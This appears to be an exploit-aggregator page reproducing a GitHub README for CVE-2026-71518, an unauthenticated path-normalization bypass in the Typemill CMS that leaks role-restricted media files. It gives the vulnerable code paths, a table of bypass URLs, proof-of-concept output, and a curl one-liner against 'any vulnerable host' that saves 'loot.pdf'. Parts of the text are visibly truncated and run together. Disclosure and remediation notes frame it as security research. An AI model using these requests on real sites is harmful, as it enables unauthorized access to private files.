Sploitus

Exploit for CVE-2026-71518

githubexploit Β· 2026-08-17

Exploit Code

README68 lines
## https://sploitus.com/exploit?id=1FA99D42-7CBF-5696-9184-2296F382F906
# CVE-2026-71518 β€” Typemill Unauthenticated Authorization Bypass (Media File Download)

**Product:** [Typemill](https://github.com/typemill/typemill) (flat-file PHP CMS, Slim 4)
**Affected:** all versions **get('/media/files/{params:.*}', ...ControllerWebDownload::class . ':download');
```

The restriction check is keyed on the raw, un-normalized request parameter:

```php
$restrictions['media/files/' . $args['params']]   // raw request string
```

…while the bytes are served from the filesystem-resolved path:

```php
file_get_contents($base . $params)                // OS-normalized path
```

`validate()` only rejects a literal `..` sequence β€” it does **not** normalize `./`
or `//`, and it does not reject percent-encoded equivalents. So:

| Request path                     | Restriction key matched? | File resolved on disk? |
|----------------------------------|--------------------------|------------------------|
| `/media/files/secret.pdf`        | βœ… yes β†’ blocked          | `secret.pdf`           |
| `/media/files/./secret.pdf`      | ❌ no  β†’ **served**       | `secret.pdf`           |
| `/media/files//secret.pdf`       | ❌ no  β†’ **served**       | `secret.pdf`           |
| `/media/files/%2e/secret.pdf`    | ❌ no  β†’ **served**       | `secret.pdf`           |

## Proof of concept

`exploit.py` reproduces the issue end-to-end against a local test container.
It (1) has the "admin" drop a private file restricted to the `editor` role,
(2) confirms the canonical URL is blocked for an anonymous user, then
(3) downloads the same file through the path-equivalent variants.

```bash
# Bring up a local Typemill  http=302  (restriction enforced)
[BYPASS ] GET /media/files/./secret.pdf          -> http=200  leaked=True
[BYPASS ] GET /media/files//secret.pdf           -> http=200  leaked=True
[BYPASS ] GET /media/files/%2e/secret.pdf        -> http=200  leaked=True
>>> VULNERABLE: unauthenticated download of a role-restricted file
```

Bare one-liner against any vulnerable host:

```bash
curl -s 'https://TARGET/media/files/%2e/restricted-file.pdf' -o loot.pdf
```

## Remediation

- Upgrade to **Typemill 2.26.0** or later.
- The fix normalizes/canonicalizes the request path **before** both the restriction
  lookup and the file read, so the access-control key and the served file are keyed
  on the same canonical path.

## References

- Patch / release: https://github.com/typemill/typemill/releases/tag/v2.26.0
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71518

## Disclosure

Reported responsibly; fixed in 2.26.0. For authorized security testing and education only.

---
*Researcher: [@IlhomjonR](https://github.com/IlhomjonR)*